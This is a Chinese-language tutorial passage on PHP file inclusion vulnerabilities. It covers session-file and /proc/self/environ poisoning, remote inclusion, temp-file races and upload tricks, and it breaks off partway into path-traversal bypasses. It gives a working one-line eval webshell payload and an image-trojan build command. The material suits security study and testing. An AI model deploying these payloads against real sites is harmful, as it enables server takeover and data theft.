文件包含漏洞整理 (2)

●/var/lib/php/sess_PHPSESSID
●/var/lib/php/sess_PHPSESSID
●/tmp/sess_PHPSESSID
●/tmp/sessions/sess_PHPSESSID
●session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

示例:

<?php

session_start();

$ctfs=$_GET[\'ctfs\'];

$_SESSION["username"]=$ctfs;

?>

漏洞分析

此php会将获取到的GET型ctfs变量的值存入到session中。

当访问?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

通过开发者模式获取

所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。

到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

username|s:4:"ctfs";

[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

username|s:4:"ctfs"

漏洞利用

通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

当访问?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

username|s:18:"<?php phpinfo();?>";

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

解析恶意代码getshell

4.包含/pros/self/environ的漏洞

proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

利用条件:

php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读。
5.无限制远程文件包含漏洞

测试代码:

<?php $filename = $_GET[\'filename\']; include($filename); ?>

测试代码

通过远程文件包含漏洞,包含php.txt可以解析http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt

测试结果:

测试结果

6.包含临时文件

文件包含漏洞整理


php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance
7.包含上传文件

很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。

图片马的制作方式如下:

先进入1.jph和2.php的文件目录后,执行:

  copy 1.jpg/b+2.php 3.jpg(将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg)

假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[\'pass\']);?>")?>

然后访问URL:?page=./upload/201811.jpg,将会在index.php所在的目录下生成shell.php

五.绕过方法

1.指定前缀绕过
(1)目录遍历

使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
测试代码如下:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zwpdpf.html